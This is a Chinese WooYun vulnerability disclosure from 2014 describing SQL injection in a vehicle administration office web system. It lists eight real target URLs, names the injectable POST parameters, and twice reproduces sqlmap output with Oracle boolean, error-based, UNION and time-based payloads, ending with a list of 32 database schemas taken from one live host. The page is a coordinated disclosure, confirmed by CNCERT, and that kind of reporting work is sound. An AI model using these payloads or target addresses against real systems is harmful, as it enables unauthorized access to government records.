当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088330

漏洞标题：车管所系统通用SQL注入（影响大量车管所网站）

相关厂商：山东国安信息产业有限责任公司

漏洞作者： 路人甲

提交时间：2014-12-23 20:28

修复时间：2015-03-23 20:30

公开时间：2015-03-23 20:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-23： 细节已通知厂商并且等待厂商处理中
2014-12-26： 厂商已经确认，细节仅向厂商公开
2014-12-29： 细节向第三方安全合作伙伴开放
2015-02-19： 细节向核心白帽子及相关领域专家公开
2015-03-01： 细节向普通白帽子公开
2015-03-11： 细节向实习白帽子公开
2015-03-23： 细节向公众公开

简要描述：

RT

详细说明：

看案例如下：
http://123.130.246.26:9080/wscgs/xwl.do
http://60.211.179.22:9080/wscgs/xwl.do
http://www.bzwscgs.com:9080/wscgs/xwl.do
http://www.lcwscgs.com/wscgs/xwl.do
http://221.2.145.164:9080/wscgs/xwl.do
http://58.59.39.43:9080/wscgs/xwl.do
http://www.lycgs.gov.cn:9080/wscgs/xwl.do
http://218.59.228.162/wscgs/xwl.do
POST参数:type=cxlist_fl&bgid=08&smid=123456
存在注入参数:bgid= smid= 两处。
1.测试bgid=参数注入:http://218.59.228.162/wscgs/xwl.do
POST参数:type=cxlist_fl&bgid=08&smid=123456

1.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: bgid
    Type: boolean-based blind
    Title: Oracle boolean-based blind - Parameter replace (original value)
    Payload: type=cxlist_fl&bgid=(SELECT (CASE WHEN (7462=7462) THEN 08 ELSE CAS
T(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)&smid=123456
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: type=cxlist_fl&bgid=08 AND 1348=(SELECT UPPER(XMLType(CHR(60)||CHR(
58)||CHR(113)||CHR(102)||CHR(103)||CHR(116)||CHR(113)||(SELECT (CASE WHEN (1348=
1348) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(105)||CHR(108)||CHR(116)||CHR
(113)||CHR(62))) FROM DUAL)&smid=123456
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: type=cxlist_fl&bgid=-3628 UNION ALL SELECT CHR(113)||CHR(102)||CHR(
103)||CHR(116)||CHR(113)||CHR(80)||CHR(97)||CHR(66)||CHR(68)||CHR(69)||CHR(120)|
|CHR(115)||CHR(86)||CHR(89)||CHR(84)||CHR(113)||CHR(105)||CHR(108)||CHR(116)||CH
R(113) FROM DUAL-- &smid=123456
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: type=cxlist_fl&bgid=08 AND 8328=DBMS_PIPE.RECEIVE_MESSAGE(CHR(104)|
|CHR(107)||CHR(67)||CHR(66),5)&smid=123456
---
[19:12:26] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[19:12:26] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[19:12:26] [INFO] fetching database (schema) names
[19:12:26] [INFO] the SQL query used returns 32 entries
available databases [32]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] EXFSYS
[*] GXHPJINING_USER
[*] HPGL_USER
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QDMFXX_USER
[*] QSWEBCGS_USER
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WK_TEST
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] WWW
[*] XDB
[19:12:26] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\218.59.228.162'


2.测试注入参数smid=：http://www.lycgs.gov.cn:9080/wscgs/xwl.do
POST参数：type=cxlist_fl&bgid=08&smid=123456

2.png


漏洞证明：

1.测试bgid=参数注入:http://218.59.228.162/wscgs/xwl.do
POST参数:type=cxlist_fl&bgid=08&smid=123456

1.png


sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: bgid
    Type: boolean-based blind
    Title: Oracle boolean-based blind - Parameter replace (original value)
    Payload: type=cxlist_fl&bgid=(SELECT (CASE WHEN (7462=7462) THEN 08 ELSE CAS
T(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)&smid=123456
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: type=cxlist_fl&bgid=08 AND 1348=(SELECT UPPER(XMLType(CHR(60)||CHR(
58)||CHR(113)||CHR(102)||CHR(103)||CHR(116)||CHR(113)||(SELECT (CASE WHEN (1348=
1348) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(105)||CHR(108)||CHR(116)||CHR
(113)||CHR(62))) FROM DUAL)&smid=123456
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: type=cxlist_fl&bgid=-3628 UNION ALL SELECT CHR(113)||CHR(102)||CHR(
103)||CHR(116)||CHR(113)||CHR(80)||CHR(97)||CHR(66)||CHR(68)||CHR(69)||CHR(120)|
|CHR(115)||CHR(86)||CHR(89)||CHR(84)||CHR(113)||CHR(105)||CHR(108)||CHR(116)||CH
R(113) FROM DUAL-- &smid=123456
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: type=cxlist_fl&bgid=08 AND 8328=DBMS_PIPE.RECEIVE_MESSAGE(CHR(104)|
|CHR(107)||CHR(67)||CHR(66),5)&smid=123456
---
[19:12:26] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[19:12:26] [WARNING] schema names are going to be used on Oracle for enumeration
 as the counterpart to database names on other DBMSes
[19:12:26] [INFO] fetching database (schema) names
[19:12:26] [INFO] the SQL query used returns 32 entries
available databases [32]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] DRV_ADMIN
[*] DRV_HEALTH
[*] EXFSYS
[*] GXHPJINING_USER
[*] HPGL_USER
[*] HR
[*] IX
[*] MDSYS
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QDMFXX_USER
[*] QSWEBCGS_USER
[*] SCOTT
[*] SH
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] VEH_ADMIN
[*] VIO_ADMIN
[*] WK_TEST
[*] WKSYS
[*] WMS_USER
[*] WMSYS
[*] WSCGS
[*] WWW
[*] XDB
[19:12:26] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\218.59.228.162'


2.测试注入参数smid=：http://www.lycgs.gov.cn:9080/wscgs/xwl.do
POST参数：type=cxlist_fl&bgid=08&smid=123456

2.png

修复方案：

参数过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-12-26 15:29

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给山东分中心，由山东分中心后续协调网站管理单位处置

最新状态：

暂无